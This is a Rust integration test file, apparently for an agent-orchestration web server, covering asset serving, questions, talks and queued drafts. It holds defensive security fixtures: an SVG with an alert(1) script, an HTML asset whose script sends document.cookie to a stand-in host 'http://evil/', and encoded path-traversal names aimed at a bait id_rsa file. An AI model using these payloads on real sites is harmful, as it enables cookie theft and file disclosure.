4606 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4607 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4608 let id = panel(
4609 &fx,
4610 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4611 &[("diff.svg", svg), ("shot.png", png)],
4612 );
4613
4614 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4615 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4616
4617 assert_eq!(as_svg.status, 200);
4618 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4619 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4624
4625 assert_eq!(as_png.status, 200);
4626 assert_eq!(as_png.header("content-type"), Some("image/png"));
4627 assert_eq!(
4628 as_png.header("content-disposition"),
4629 None,
4630 "a raster image has no execution surface, so tapping it still shows it"
4631 );
4632 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4633 }
4634
4635 #[tokio::test]
4636 async fn an_html_asset_is_never_served_as_html() {
4637 let fx = Fixture::start().await;
4638 let id = panel(
4639 &fx,
4640 "<p>see the notes</p>",
4641 &[
4642 (
4643 "notes.html",
4644 b"<script>fetch('http://evil/'+document.cookie)</script>",
4645 ),
4646 ("hook.js", b"fetch('http://evil/')"),
4647 ("data.json", b"{}"),
4648 ("HEADLINE.TXT", b"plain"),
4649 ],
4650 );
4651
4652 for name in ["notes.html", "hook.js", "data.json"] {
4653 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4654 assert_eq!(res.status, 200, "{name}: {}", res.body);
4655 assert_eq!(
4660 res.header("content-type"),
4661 Some("application/octet-stream"),
4662 "{name} must not be a type the browser will execute or render"
4663 );
4664 }
4665 let txt = fx
4668 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4669 .await;
4670 assert_eq!(
4671 txt.header("content-type"),
4672 Some("text/plain; charset=utf-8")
4673 );
4674 }
4675
4676 #[tokio::test]
4677 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4678 let fx = Fixture::start().await;
4679 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4680 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4684
4685 for encoded in [
4692 "%2e%2e%2fid_rsa",
4693 "..%2fid_rsa",
4694 "..%5cid_rsa",
4695 "%2e%2e%5cid_rsa",
4696 "diff%00.svg",
4697 "..",
4698 ".hidden",
4699 "%2e%2e%2f%2e%2e%2fid_rsa",
4700 ] {
4701 let res = fx
4702 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4703 .await;
4704 assert_eq!(
4705 res.status, 400,
4706 "`{encoded}` has to be refused by name, not looked up: {}",
4707 res.body
4708 );
4709 assert!(res.json()["error"].is_string(), "{}", res.body);
4710 }
4711
4712 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4718 let res = fx
4719 .get(&format!("/api/questions/{id}/asset/{literal}"))
4720 .await;
4721 assert_eq!(
4722 res.status, 404,
4723 "`{literal}` must not match the asset route at all: {}",
4724 res.body
4725 );
4726 }
4727 }
4728
4729 #[tokio::test]
4730 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4731 let fx = Fixture::start().await;
4732 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4733 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4734
4735 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4739 assert_eq!(none.status, 404, "{}", none.body);
4740 assert!(none.json()["error"].is_string(), "{}", none.body);
4741 assert_eq!(
4742 fx.head(&format!("/api/questions/{plain}/panel"))
4743 .await
4744 .status,
4745 404,
4746 "the preflight is the only way the client can learn this"
4747 );
4748
4749 let missing = fx
4751 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4752 .await;
4753 assert_eq!(missing.status, 404, "{}", missing.body);
4754 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4755
4756 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4758 assert_eq!(
4759 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4760 404
4761 );
4762 }
4763
4764 #[tokio::test]
4765 async fn a_run_with_an_open_question_reads_as_waiting() {
4766 let fx = Fixture::start().await;
4767 let run = "20260902-000000-beef".to_owned();
4768 write_run(&fx.runs(), &run, RunStatus::Implementing);
4769
4770 let before = fx.get("/api/runs").await.json();
4771 assert_eq!(before[0]["waiting"], false, "{before}");
4772
4773 let store = fx.questions();
4774 let mut q = Question::new(
4775 run.clone(),
4776 "implement".to_owned(),
4777 "impl-A".to_owned(),
4778 "Which backend?".to_owned(),
4779 String::new(),
4780 vec!["SQLite".to_owned()],
4781 );
4782 store.put(&mut q).expect("put");
4783
4784 let during = fx.get("/api/runs").await.json();
4785 assert_eq!(during[0]["waiting"], true, "{during}");
4786
4787 q.answer(Answer::Choice("SQLite".to_owned()))
4790 .expect("answer");
4791 store.put(&mut q).expect("put");
4792 let after = fx.get("/api/runs").await.json();
4793 assert_eq!(after[0]["waiting"], false, "{after}");
4794 }
4795
4796 #[tokio::test]
4797 async fn an_open_question_is_listed_and_counted_by_health() {
4798 let fx = Fixture::start().await;
4799 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4800
4801 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4802 let listed = fx.get("/api/questions").await.json();
4803 assert_eq!(listed.as_array().expect("array").len(), 1);
4804 assert_eq!(listed[0]["id"], id);
4805 assert_eq!(listed[0]["status"], "open");
4806 assert_eq!(listed[0]["choices"][1], "Redis");
4807 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4810 }
4811
4812 #[tokio::test]
4813 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4814 let fx = Fixture::start().await;
4815 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4816 let path = format!("/api/questions/{id}/answer");
4817
4818 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4819 assert_eq!(res.status, 200, "{}", res.body);
4820 let body = res.json();
4821 assert_eq!(body["status"], "answered");
4822 assert_eq!(body["answer"]["choice"], "Redis");
4823
4824 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4828 assert_eq!(again.status, 409, "{}", again.body);
4829 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4830 }
4831
4832 #[tokio::test]
4833 async fn saying_something_appends_a_turn_without_answering() {
4834 let fx = Fixture::start().await;
4835 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4836 let path = format!("/api/questions/{id}/say");
4837
4838 let res = fx
4839 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4840 .await;
4841 assert_eq!(res.status, 200, "{}", res.body);
4842 let body = res.json();
4843 assert_eq!(body["status"], "open", "talking back is not a decision");
4844 assert_eq!(body["answer"], Value::Null);
4845 assert_eq!(body["thread"][0]["who"], "operator");
4846 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4847 assert_eq!(body["waiting_on_agent"], true);
4848 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4850 }
4851
4852 #[tokio::test]
4853 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4854 let fx = Fixture::start().await;
4855 let store = fx.questions();
4856 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4857 assert_eq!(
4858 fx.get("/api/health").await.json()["questions_needs_owner"],
4859 1
4860 );
4861
4862 let res = fx
4868 .post(
4869 &format!("/api/questions/{id}/say"),
4870 Some(r#"{"body":"why not Postgres?"}"#),
4871 )
4872 .await;
4873 assert_eq!(res.status, 200, "{}", res.body);
4874 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4875 assert_eq!(
4876 fx.get("/api/health").await.json()["questions_needs_owner"],
4877 0,
4878 "waiting on the agent is not waiting on the owner"
4879 );
4880
4881 let mut q = store.get(&id).expect("get");
4885 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4886 .expect("reply");
4887 store.put(&mut q).expect("put");
4888 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4889 assert_eq!(
4890 fx.get("/api/health").await.json()["questions_needs_owner"],
4891 1,
4892 "the agent's reply is what should light the banner back up"
4893 );
4894 }
4895
4896 #[tokio::test]
4897 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4898 let fx = Fixture::start().await;
4899 let store = fx.questions();
4900
4901 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4902 let res = fx
4903 .post(
4904 &format!("/api/questions/{empty_id}/say"),
4905 Some(r#"{"body":" "}"#),
4906 )
4907 .await;
4908 assert_eq!(res.status, 400, "{}", res.body);
4909
4910 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4911 let mut answered = store.get(&answered_id).expect("get");
4912 answered
4913 .answer(Answer::Choice("SQLite".to_owned()))
4914 .expect("answer");
4915 store.put(&mut answered).expect("put");
4916 let res = fx
4917 .post(
4918 &format!("/api/questions/{answered_id}/say"),
4919 Some(r#"{"body":"still there?"}"#),
4920 )
4921 .await;
4922 assert_eq!(res.status, 409, "{}", res.body);
4923
4924 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4925 let mut abandoned = store.get(&abandoned_id).expect("get");
4926 abandoned.abandon("timed out");
4927 store.put(&mut abandoned).expect("put");
4928 let res = fx
4929 .post(
4930 &format!("/api/questions/{abandoned_id}/say"),
4931 Some(r#"{"body":"still there?"}"#),
4932 )
4933 .await;
4934 assert_eq!(res.status, 409, "{}", res.body);
4935 }
4936
4937 #[tokio::test]
4938 async fn an_answer_the_question_does_not_offer_is_refused() {
4939 let fx = Fixture::start().await;
4940 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4941 let path = format!("/api/questions/{id}/answer");
4942
4943 for body in [
4944 r#"{"choice":"Postgres"}"#,
4945 r#"{"text":"whatever you think"}"#,
4946 r#"{"choice":"Redis","text":"both"}"#,
4947 r#"{}"#,
4948 ] {
4949 let res = fx.post(&path, Some(body)).await;
4950 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4951 assert!(res.json()["error"].is_string(), "{}", res.body);
4952 }
4953 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4955 }
4956
4957 #[tokio::test]
4958 async fn a_free_text_question_takes_text_and_not_a_choice() {
4959 let fx = Fixture::start().await;
4960 let id = ask(&fx, "What should the flag be called?", &[]);
4961 let path = format!("/api/questions/{id}/answer");
4962
4963 assert_eq!(
4964 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4965 400
4966 );
4967 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4968 assert_eq!(res.status, 200, "{}", res.body);
4969 assert_eq!(res.json()["answer"]["text"], "--json");
4970 }
4971
4972 #[tokio::test]
4973 async fn an_unknown_question_is_a_json_404() {
4974 let fx = Fixture::start().await;
4975 let res = fx
4976 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4977 .await;
4978 assert_eq!(res.status, 404, "{}", res.body);
4979 assert!(res.json()["error"].is_string());
4980 }
4981
4982 #[tokio::test]
4989 async fn a_task_cannot_be_filed_over_the_phone_directly() {
4990 let f = Fixture::start().await;
4991
4992 let res = f
4993 .post(
4994 "/api/queue",
4995 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4996 )
4997 .await;
4998
4999 assert_eq!(
5000 res.status, 405,
5001 "POST /api/queue must not be a route: {}",
5002 res.body
5003 );
5004 assert!(
5005 f.queue().list().is_empty(),
5006 "a task filed by a route that does not exist must not reach the disk"
5007 );
5008 assert_eq!(f.get("/api/queue").await.status, 200);
5011 }
5012
5013 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5015 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5016 .expect("checkout dir");
5017 }
5018
5019 #[tokio::test]
5020 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5021 let tmp = TempDir::new().expect("tempdir");
5022 let repo = tmp.path().join("repo");
5023 std::fs::create_dir_all(&repo).expect("repo dir");
5024 let root = tmp.path().join("root");
5025 make_checkout(&root, "github.com", "yukimemi", "magi");
5026 std::fs::write(
5027 repo.join("magi.toml"),
5028 format!(
5029 "[repos]\nroots = [{:?}]\n",
5030 root.to_string_lossy().into_owned()
5031 ),
5032 )
5033 .expect("write magi.toml");
5034
5035 let f = Fixture::with_repo(repo).await;
5036 let res = f.get("/api/repos").await;
5037 assert_eq!(res.status, 200, "{}", res.body);
5038 let list = res.json();
5039 let repos = list.as_array().expect("an array");
5040 assert_eq!(repos.len(), 1);
5041 assert_eq!(repos[0]["name"], "yukimemi/magi");
5042 assert!(
5043 repos[0]["path"]
5044 .as_str()
5045 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5046 "{list}"
5047 );
5048 }
5049
5050 #[tokio::test]
5051 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5052 let tmp = TempDir::new().expect("tempdir");
5053 let repo = tmp.path().join("repo");
5054 std::fs::create_dir_all(&repo).expect("repo dir");
5055 let root = tmp.path().join("root");
5056 make_checkout(&root, "github.com", "yukimemi", "magi");
5057 std::fs::write(
5058 repo.join("magi.toml"),
5059 format!(
5060 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5061 root.to_string_lossy().into_owned()
5062 ),
5063 )
5064 .expect("write magi.toml");
5065
5066 let f = Fixture::with_repo(repo).await;
5067 let first = f.get("/api/repos").await;
5068 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5069
5070 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5073 let second = f.get("/api/repos").await;
5074 assert_eq!(
5075 second.json().as_array().map(Vec::len),
5076 Some(1),
5077 "a fresh cache must not rescan inside the TTL"
5078 );
5079
5080 let refreshed = f.get("/api/repos?refresh=1").await;
5081 assert_eq!(
5082 refreshed.json().as_array().map(Vec::len),
5083 Some(2),
5084 "an explicit refresh must rescan even inside the TTL"
5085 );
5086 }
5087
5088 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5094
5095 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5099 let tmp = TempDir::new().expect("tempdir");
5100 let repo = tmp.path().join("repo");
5101 std::fs::create_dir_all(&repo).expect("repo dir");
5102 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5103 let f = Fixture::with_repo(repo.clone()).await;
5104 (tmp, repo, f)
5105 }
5106
5107 #[tokio::test]
5108 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5109 let (_tmp, _repo, f) = talk_fixture().await;
5110
5111 let opened = f.post("/api/talks", None).await;
5114 assert_eq!(opened.status, 201, "{}", opened.body);
5115 let body = opened.json();
5116 assert_eq!(body["status"], "open");
5117 assert_eq!(
5118 body["turns"].as_array().unwrap().len(),
5119 0,
5120 "opening takes no agent turn: there is nothing yet to answer"
5121 );
5122
5123 let also_opened = f.post("/api/talks", Some("{}")).await;
5125 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5126
5127 let listed = f.get("/api/talks").await.json();
5128 assert_eq!(listed.as_array().unwrap().len(), 2);
5129 }
5130
5131 #[tokio::test]
5132 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5133 let f = Fixture::start().await;
5134 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5135 let queue = f.queue();
5136 let mut mine = Task::new(
5137 "rename the loader".to_owned(),
5138 "rename the loader".to_owned(),
5139 PathBuf::from("/repo/magi"),
5140 Source::Agent {
5141 run: talk_id.clone(),
5142 node: "chat".to_owned(),
5143 },
5144 );
5145 queue.put(&mut mine).expect("file the task");
5146 let mut theirs = Task::new(
5147 "unrelated".to_owned(),
5148 "unrelated".to_owned(),
5149 PathBuf::from("/repo/magi"),
5150 Source::Human,
5151 );
5152 queue.put(&mut theirs).expect("file the task");
5153
5154 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5155 assert_eq!(res.status, 200, "{}", res.body);
5156 let body = res.json();
5157 assert_eq!(
5158 body["status"], "open",
5159 "filing a task does not close a talk"
5160 );
5161 let tasks = body["tasks"].as_array().expect("tasks array");
5162 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5163 assert_eq!(tasks[0]["id"], mine.id);
5164 }
5165
5166 #[tokio::test]
5167 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5168 let (_tmp, _repo, f) = talk_fixture().await;
5169 let id = f.post("/api/talks", None).await.json()["id"]
5170 .as_str()
5171 .expect("id")
5172 .to_owned();
5173
5174 let res = f
5175 .post(
5176 &format!("/api/talks/{id}/say"),
5177 Some(r#"{"text":"what does the queue module do?"}"#),
5178 )
5179 .await;
5180 assert_eq!(res.status, 202, "{}", res.body);
5181 let queued = res.json();
5182 let turns = queued["turns"].as_array().expect("turns array");
5183 assert_eq!(
5184 turns.len(),
5185 1,
5186 "the answer reflects only what is on disk the instant it is sent, \
5187 before the agent's turn - which can run for the whole of \
5188 `[graph] timeout_talk` - has a chance to land: {queued}"
5189 );
5190 assert_eq!(turns[0]["who"], "operator");
5191 assert_eq!(turns[0]["body"], "what does the queue module do?");
5192 assert_eq!(
5193 queued["thinking"], true,
5194 "the accepted response exposes the background turn claim: {queued}"
5195 );
5196
5197 let mut turns_after = 1;
5198 for _ in 0..200 {
5199 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5200 turns_after = detail["turns"].as_array().expect("turns array").len();
5201 if turns_after == 2 {
5202 break;
5203 }
5204 tokio::time::sleep(Duration::from_millis(10)).await;
5205 }
5206 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5207 }
5208
5209 #[tokio::test]
5236 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5237 let tmp = TempDir::new().expect("tempdir");
5238 let repo = tmp.path().join("repo");
5239 std::fs::create_dir_all(&repo).expect("repo dir");
5240 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5241 let home = TempDir::new().expect("temp home");
5242 let talks = Talks::at(home.path().join("talks"));
5243 let ui = Arc::new(
5244 Ui::new(
5245 Queue::at(home.path().join("queue")),
5246 Questions::at(home.path().join("questions")),
5247 talks.clone(),
5248 home.path().join("runs"),
5249 home.path().to_path_buf(),
5250 repo.clone(),
5251 )
5252 .with_worktrees_root(home.path().join("wt")),
5253 );
5254 let cfg = config_for(&repo).await.expect("discover config");
5255
5256 for delay in 0..40u32 {
5257 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5258 let id = talk.id.clone();
5259
5260 let handler = tokio::spawn(talk_say(
5261 State(Arc::clone(&ui)),
5262 Path(id.clone()),
5263 Ok(Json(NewTalkTurn {
5264 text: "what does the queue module do?".to_owned(),
5265 attachments: Vec::new(),
5266 })),
5267 ));
5268 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5269 handler.abort();
5270 let _ = handler.await;
5273
5274 let mut turns = 0;
5275 for _ in 0..200 {
5276 if let Ok(fresh) = talks.get(&id) {
5277 turns = fresh.turns.len();
5278 if turns != 1 {
5279 break;
5280 }
5281 }
5282 tokio::time::sleep(Duration::from_millis(10)).await;
5283 }
5284 assert_ne!(
5285 turns, 1,
5286 "delay {delay}: talk {id} recorded the operator's turn but \
5287 the agent never answered - the reply task was never \
5288 started after the handler future was dropped"
5289 );
5290 }
5291 }
5292
5293 #[tokio::test]
5315 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5316 async fn drive<F: std::future::Future>(
5321 fut: &mut std::pin::Pin<Box<F>>,
5322 max_polls: usize,
5323 ) -> bool {
5324 if max_polls == 0 {
5325 return false;
5326 }
5327 let mut polls = 0usize;
5328 let mut ready = false;
5329 std::future::poll_fn(|cx| {
5330 polls += 1;
5331 match fut.as_mut().poll(cx) {
5332 std::task::Poll::Ready(_) => {
5333 ready = true;
5334 std::task::Poll::Ready(())
5335 }
5336 std::task::Poll::Pending if polls >= max_polls => std::task::Poll::Ready(()),
5337 std::task::Poll::Pending => std::task::Poll::Pending,
5338 }
5339 })
5340 .await;
5341 ready
5342 }
5343
5344 let tmp = TempDir::new().expect("tempdir");
5345 let repo = tmp.path().join("repo");
5346 std::fs::create_dir_all(&repo).expect("repo dir");
5347 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5348 let home = TempDir::new().expect("temp home");
5349 let talks = Talks::at(home.path().join("talks"));
5350 let ui = Arc::new(
5351 Ui::new(
5352 Queue::at(home.path().join("queue")),
5353 Questions::at(home.path().join("questions")),
5354 talks.clone(),
5355 home.path().join("runs"),
5356 home.path().to_path_buf(),
5357 repo.clone(),
5358 )
5359 .with_worktrees_root(home.path().join("wt")),
5360 );
5361 let cfg = config_for(&repo).await.expect("discover config");
5362
5363 for polls_after_release in 1..=3usize {
5364 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5365 let id = talk.id.clone();
5366 let turn_guard = ui
5369 .begin_talk_turn(&id)
5370 .expect("claim the turn")
5371 .expect("a fresh talk owes nobody a turn");
5372
5373 let mut handler = Box::pin(talk_say(
5374 State(Arc::clone(&ui)),
5375 Path(id.clone()),
5376 Ok(Json(NewTalkTurn {
5377 text: "what does the queue module do?".to_owned(),
5378 attachments: Vec::new(),
5379 })),
5380 ));
5381 let done = drive(&mut handler, 4).await;
5391 tokio::time::sleep(Duration::from_millis(50)).await;
5392 let running = talks.get(&id).expect("reload talk");
5398 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5399 if !done {
5402 drive(&mut handler, polls_after_release).await;
5403 }
5404 drop(handler);
5405
5406 let mut fresh = talks.get(&id).expect("reload talk");
5412 for _ in 0..200 {
5413 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5414 break;
5415 }
5416 tokio::time::sleep(Duration::from_millis(10)).await;
5417 fresh = talks.get(&id).expect("reload talk");
5418 }
5419 assert!(
5420 fresh.pending.is_empty() && fresh.turns.len() == 2,
5421 "polls {polls_after_release}: talk {id} left the operator's \
5422 text queued with no drainer - the reclaimed turn was dropped \
5423 along with the handler future (pending {:?}, {} turns)",
5424 fresh.pending,
5425 fresh.turns.len()
5426 );
5427 }
5428 }
5429
5430 #[tokio::test]
5431 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5432 let (_tmp, _repo, f) = talk_fixture().await;
5433 let id = f.post("/api/talks", None).await.json()["id"]
5434 .as_str()
5435 .expect("id")
5436 .to_owned();
5437 let store = f.talks();
5438 let mut recovered = store.get(&id).expect("opened talk");
5439 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5440 .expect("persist pending draft without a live turn");
5441
5442 let edited = f
5443 .post(
5444 &format!("/api/talks/{id}/pending/edit"),
5445 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5446 )
5447 .await;
5448 assert_eq!(edited.status, 200, "{}", edited.body);
5449 assert!(edited.json()["thinking"].as_bool().unwrap());
5450
5451 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5452 for _ in 0..200 {
5453 if detail["turns"].as_array().expect("turns").len() == 2 {
5454 break;
5455 }
5456 tokio::time::sleep(Duration::from_millis(10)).await;
5457 detail = f.get(&format!("/api/talks/{id}")).await.json();
5458 }
5459 let turns = detail["turns"].as_array().expect("turns");
5460 assert_eq!(
5461 turns.len(),
5462 2,
5463 "the recovered draft must run once: {detail}"
5464 );
5465 assert_eq!(turns[0]["body"], "corrected");
5466 assert_eq!(detail["pending"], "");
5467 }
5468
5469 #[tokio::test]
5470 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5471 let tmp = TempDir::new().expect("tempdir");
5472 let repo = tmp.path().join("repo");
5473 std::fs::create_dir_all(&repo).expect("repo dir");
5474 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5475 let f = Fixture::with_repo(repo).await;
5476 let id = f.post("/api/talks", None).await.json()["id"]
5477 .as_str()
5478 .expect("id")
5479 .to_owned();
5480 let store = f.talks();
5481 let mut recovered = store.get(&id).expect("opened talk");
5482 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5483 .expect("persist pending draft without a live turn");
5484
5485 let refused = f
5486 .post(
5487 &format!("/api/talks/{id}/say"),
5488 Some(r#"{"text":"new message"}"#),
5489 )
5490 .await;
5491 assert_eq!(refused.status, 409, "{}", refused.body);
5492 assert!(refused.body.contains("resume"), "{}", refused.body);
5493 let saved = store.get(&id).expect("draft remains after refusal");
5494 assert!(saved.turns.is_empty());
5495 assert_eq!(saved.pending, "saved before restart");
5496
5497 let say_path = format!("/api/talks/{id}/say");
5498 let (first, second) = tokio::join!(
5499 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5500 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5501 );
5502 assert_eq!(first.status, 409, "{}", first.body);
5503 assert_eq!(second.status, 409, "{}", second.body);
5504 let saved = store
5505 .get(&id)
5506 .expect("draft remains after concurrent refusals");
5507 assert!(saved.turns.is_empty());
5508 assert_eq!(saved.pending, "saved before restart");
5509
5510 let resumed = f
5511 .post(&format!("/api/talks/{id}/pending/resume"), None)
5512 .await;
5513 assert_eq!(resumed.status, 202, "{}", resumed.body);
5514 let duplicate = f
5515 .post(&format!("/api/talks/{id}/pending/resume"), None)
5516 .await;
5517 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5518
5519 for _ in 0..200 {
5520 if store.get(&id).expect("talk").turns.len() == 2 {
5521 break;
5522 }
5523 tokio::time::sleep(Duration::from_millis(10)).await;
5524 }
5525 let finished = store.get(&id).expect("finished talk");
5526 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5527 assert_eq!(finished.turns[0].body, "saved before restart");
5528 assert!(finished.pending.is_empty());
5529 }
5530
5531 #[tokio::test]
5532 async fn an_image_only_recovered_draft_resumes_without_text() {
5533 let (_tmp, _repo, f) = talk_fixture().await;
5534 let id = f.post("/api/talks", None).await.json()["id"]
5535 .as_str()
5536 .expect("id")
5537 .to_owned();
5538 let uploaded = f
5539 .post_bytes(
5540 &format!("/api/talks/{id}/attachments"),
5541 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5542 PNG_BYTES,
5543 )
5544 .await;
5545 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5546 let attachment = f
5547 .talks()
5548 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5549 .expect("attachment metadata")
5550 .expect("stored attachment");
5551 let store = f.talks();
5552 let mut recovered = store.get(&id).expect("opened talk");
5553 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5554
5555 let resumed = f
5556 .post(&format!("/api/talks/{id}/pending/resume"), None)
5557 .await;
5558 assert_eq!(resumed.status, 202, "{}", resumed.body);
5559 for _ in 0..200 {
5560 if store.get(&id).expect("talk").turns.len() == 2 {
5561 break;
5562 }
5563 tokio::time::sleep(Duration::from_millis(10)).await;
5564 }
5565 let finished = store.get(&id).expect("finished talk");
5566 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5567 assert!(finished.turns[0].body.is_empty());
5568 assert_eq!(finished.turns[0].attachments.len(), 1);
5569 assert!(finished.pending_attachments.is_empty());
5570 }
5571
5572 #[tokio::test]
5573 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5574 let (_tmp, _repo, f) = talk_fixture().await;
5575 let id = f.post("/api/talks", None).await.json()["id"]
5576 .as_str()
5577 .expect("id")
5578 .to_owned();
5579 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5580 assert_eq!(closed.status, 200, "{}", closed.body);
5581 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5582 .expect("serialize closed talk");
5583 for (path, body) in [
5584 (format!("/api/talks/{id}/pending/resume"), None),
5585 (
5586 format!("/api/talks/{id}/pending/clear"),
5587 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5588 ),
5589 (
5590 format!("/api/talks/{id}/pending/edit"),
5591 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5592 ),
5593 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5594 ] {
5595 let response = f.post(&path, body).await;
5596 assert_eq!(response.status, 409, "{}", response.body);
5597 }
5598 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5599 .expect("serialize closed talk");
5600 assert_eq!(
5601 after_clear, before_clear,
5602 "clear must not rewrite a closed talk"
5603 );
5604 }
5605
5606 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5609
5610 #[tokio::test]
5611 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5612 let tmp = TempDir::new().expect("tempdir");
5613 let repo = tmp.path().join("repo");
5614 std::fs::create_dir_all(&repo).expect("repo dir");
5615 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5616 let f = Fixture::with_repo(repo).await;
5617 let id_a = f.post("/api/talks", None).await.json()["id"]
5618 .as_str()
5619 .unwrap()
5620 .to_owned();
5621 let id_b = f.post("/api/talks", None).await.json()["id"]
5622 .as_str()
5623 .unwrap()
5624 .to_owned();
5625
5626 let a = f
5627 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5628 .await;
5629 assert_eq!(a.status, 202, "{}", a.body);
